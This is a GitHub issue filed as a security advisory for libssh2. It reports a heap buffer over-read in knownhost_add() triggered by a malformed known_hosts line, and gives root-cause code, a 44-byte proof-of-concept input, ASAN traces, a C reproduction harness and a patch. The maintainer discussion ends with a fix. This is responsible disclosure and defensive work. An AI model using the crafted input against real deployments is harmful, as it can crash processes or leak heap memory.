Skip to content

Heap buffer over-read in knownhost_add() via malformed known_hosts line (CWE-125, CVSS 7.1) #2012

Closed

Description

@afldl

GitHub Security Advisory — libssh2

Title: Heap Buffer Over-Read in knownhost_add() via Malformed known_hosts Line (CWE-125)

CWE

CWE-125: Out-of-bounds Read

Affected Versions

libssh2 <= 1.11.1 (all versions with libssh2_knownhost_readline() API)

Description

Summary

knownhost_add() in knownhost.c performs an out-of-bounds heap read when processing a known_hosts line containing a truncated SSH host key. The function allocates a buffer for the comment field based on a computed commentlen and then copies commentlen + 1 bytes from the parsed line, but the source pointer may extend past the end of the allocated input buffer.

Vulnerable Component

  • File: src/knownhost.c:255 (knownhost_add)
  • Callers: oldstyle_hostline() at line 650, hashed_hostline() at line 716
  • Trigger path: libssh2_knownhost_readline() → hostline() → oldstyle_hostline() → knownhost_add()

Root Cause

In hostline() (knownhost.c:780-835), when parsing a non-RSA1 key line:

// knownhost.c:790-830 (default case)
key_type_name = key;
while(keylen && *key && (*key != ' ') && (*key != '\t')) {
    key++; keylen--;   // skip key type name
}
key_type_len = key - key_type_name;

// skip whitespace after key type
while(keylen && ((*key == ' ') || (*key == '\t'))) {
    key++; keylen--;
}

comment = key;
commentlen = keylen;   // BUG: remaining bytes = base64 key + optional comment

// walk over base64 key data
while(commentlen && *comment && (*comment != ' ') && (*comment != '\t')) {
    comment++; commentlen--;
}

// reduce key length by what was consumed as comment
keylen -= commentlen;

When the base64 key data extends to the exact end of the input buffer (no trailing whitespace or newline), commentlen becomes 0 but the *comment dereference in the while-loop condition reads one byte past the allocation. More critically, when commentlen is non-zero but the comment pointer is at or near the buffer boundary, knownhost_add() at line 255 does:

memcpy(entry->comment, comment, commentlen + 1);  // OOB READ of source

This reads commentlen + 1 bytes from comment, which may extend past the original line buffer allocated by the caller.

CVSS v3.1 Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Base Score: 7.1 (High)

Rationale:

  • AV:L — known_hosts file is local, but can be supplied via SSH host key verification
  • AC:L — trivial to craft a malformed line
  • PR:L — requires write access to known_hosts file or ability to inject host key data
  • UI:N — no user interaction needed once the file is read
  • S:U — no scope change
  • C:H — heap data leaked up to commentlen bytes (attacker-controlled size)
  • I:N — no integrity impact (read-only)
  • A:H — process abort under ASAN, potential crash in production

Attack Vector

An attacker who can write to a user's ~/.ssh/known_hosts file (e.g., via a compromised git repository with SSH configuration, or by MITM-ing an SSH connection to inject a malicious host key) can trigger this OOB read. The 44-byte PoC below demonstrates the crash:

PoC (44 bytes, triggers ASAN abort):

x ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Pd

Impact

  • Information leak: Up to commentlen bytes of heap data can be read beyond the allocation boundary
  • Denial of service: ASAN builds abort; release builds may crash depending on heap layout
  • No write primitive: This is a read-only OOB; no memory corruption or code execution

Test Results

Input Size Crash Location
x ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Pd 44B ✅ ASAN abort knownhost.c:255
example.com ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Pd 55B ✅ ASAN abort knownhost.c:255
example.com ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Pd+extra 50B ✅ ASAN abort knownhost.c:255
Valid known_hosts line any ❌ No crash N/A

ASAN trace:

==484377==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000000057
READ of size 2 at 0x606000000057 thread T0
    #0 __asan_memcpy
    #1 knownhost_add  knownhost.c:255
    #2 oldstyle_hostline  knownhost.c:650
    #3 hostline  knownhost.c:836
    #4 libssh2_knownhost_readline  knownhost.c:939

Steps to Reproduce

# Build libssh2 with ASAN
git clone https://github.com/libssh2/libssh2.git && cd libssh2
mkdir build && cd build
cmake .. -DCMAKE_C_COMPILER=clang \
  -DCMAKE_C_FLAGS="-g -fsanitize=address -fno-omit-frame-pointer -O1" \
  -DCMAKE_BUILD_TYPE=Debug
make -j$(nproc)

# Create PoC
printf 'x ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Pd' > /tmp/poc.bin

# Compile test program
cat > test.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libssh2.h>
int main(int argc, char **argv) {
    FILE *f = fopen(argv[1], "rb");
    fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET);
    char *buf = malloc(sz);
    fread(buf, 1, sz, f); fclose(f);
    buf[sz-1] = '\0';
    LIBSSH2_SESSION *session = libssh2_session_init();
    LIBSSH2_KNOWNHOSTS *kh = libssh2_knownhost_init(session);
    libssh2_knownhost_readline(kh, buf, sz, LIBSSH2_KNOWNHOST_FILE_OPENSSH);
    libssh2_knownhost_free(kh);
    libssh2_session_free(session);
    free(buf);
    return 0;
}
EOF
clang -g -fsanitize=address -fno-omit-frame-pointer -O1 test.c \
  -I../include src/libssh2.a -lssl -lcrypto -o test

ASAN_OPTIONS=detect_leaks=0 ./test /tmp/poc.bin
# Result: ASAN abort: heap-buffer-overflow in knownhost_add at knownhost.c:255

Suggested Fix

The root cause is that comment and commentlen are derived from pointer arithmetic on the key portion of the line, but without proper bounds checking against the original line length. The fix should validate that comment + commentlen does not exceed the original buffer boundary:

--- a/src/knownhost.c
+++ b/src/knownhost.c
@@ -251,7 +251,8 @@ static int knownhost_add(LIBSSH2_KNOWNHOSTS *hosts,
     if(comment) {
         entry->comment = LIBSSH2_ALLOC(hosts->session, commentlen + 1);
         if(!entry->comment) {
-            rc = _libssh2_error(hosts->session, LIBSSH2_ERROR_ALLOC,
+            rc = _libssh2_error(hosts->session,
+                                LIBSSH2_ERROR_ALLOC,
                                 "Unable to allocate memory for comment");
             goto error;
         }
@@ -820,6 +821,12 @@ static int hostline(LIBSSH2_KNOWNHOSTS *hosts,
         if(commentlen == 0)
             comment = NULL;
 
+        /* Sanity check: comment must not extend past the key buffer */
+        if(comment && commentlen > 0 &&
+           (comment + commentlen > keyp + keylen)) {
+            return _libssh2_error(hosts->session,
+                                  LIBSSH2_ERROR_METHOD_NOT_SUPPORTED,
+                                  "Failed to parse known_hosts line "
+                                  "(comment overflows key)");
+        }
+
         /* skip whitespaces */
         while(commentlen && *comment &&
               ((*comment == ' ') || (*comment == '\t'))) {

Alternatively, in libssh2_knownhost_readline(), ensure that the line is properly null-terminated and that keylen is validated to not extend past the allocated buffer before passing to hostline().

Credit

Discovered through ASAN-guided fuzzing with the PathDiff differential fuzzing framework.

References

Activity

  1. willco007 commented on Jun 10, 2026

    @willco007
    Member

    I can't reproduce this on master and the code you're referencing differs from master pretty dramatically. Are you testing these bugs against master or on the shipping code only? That code is very old at this point.

  2. afldl commented on Jun 12, 2026

    @afldl
    Author

    Thanks for checking. I went back and rebuilt current master (0391b09d) from a clean checkout with -fsanitize=address — it still reproduces. Apologies for the stale line numbers in the original report; here are the correct ones on master:

    ==ERROR: AddressSanitizer: heap-buffer-overflow
    READ of size 2 ... 0 bytes to the right of the 44-byte region
        #1 knownhost_add              src/knownhost.c:254
        #2 oldstyle_hostline          src/knownhost.c:639
        #3 hostline                   src/knownhost.c:821
        #4 libssh2_knownhost_readline src/knownhost.c:920
    

    The reason it's easy to miss: it only triggers through libssh2_knownhost_readline() (the in-memory API) when the caller hands it a tightly-sized buffer. Through libssh2_knownhost_readfile() the internal char buf[4092] stack buffer absorbs the 1-byte over-read, so ASAN stays silent — that path returns LIBSSH2_ERROR_METHOD_NOT_SUPPORTED and exits clean. I suspect that's the path you tried.

    Minimal repro:

    libssh2_init(0);
    LIBSSH2_SESSION *s = libssh2_session_init();
    LIBSSH2_KNOWNHOSTS *kh = libssh2_knownhost_init(s);
    char *buf = malloc(44);                 /* tight allocation, no slack */
    memcpy(buf, "x ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Pd", 44);
    buf[43] = '\0';
    libssh2_knownhost_readline(kh, buf, 44, LIBSSH2_KNOWNHOST_FILE_OPENSSH);

    Root cause: in hostline() the comment pointer is derived by walking over the base64 key, and for a line with no trailing whitespace/comment it lands on the final NUL with commentlen == 1. knownhost_add() then does memcpy(dst, comment, commentlen + 1) (line 254) — that + 1 reads one byte past the caller's buffer. The line right after it already does entry->comment[commentlen] = 0, so the + 1 is unnecessary and can simply be dropped.

    Happy to send a PR if you'd like.

  3. willco007 commented on Jun 12, 2026

    @willco007
    Member

    @afldl can you test my MR #2053? I believe it addresses the root cause and not just the symptom.

  4. afldl commented on Jun 15, 2026

    @afldl
    Author

    Hi @willco007,

    I pulled #2053 and tested it against my reproducer — the over-read in
    knownhost_add() no longer triggers
    Thanks for the quick fix.

  5. added a commit that references this issue on Jun 15, 2026
    bf33b94
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions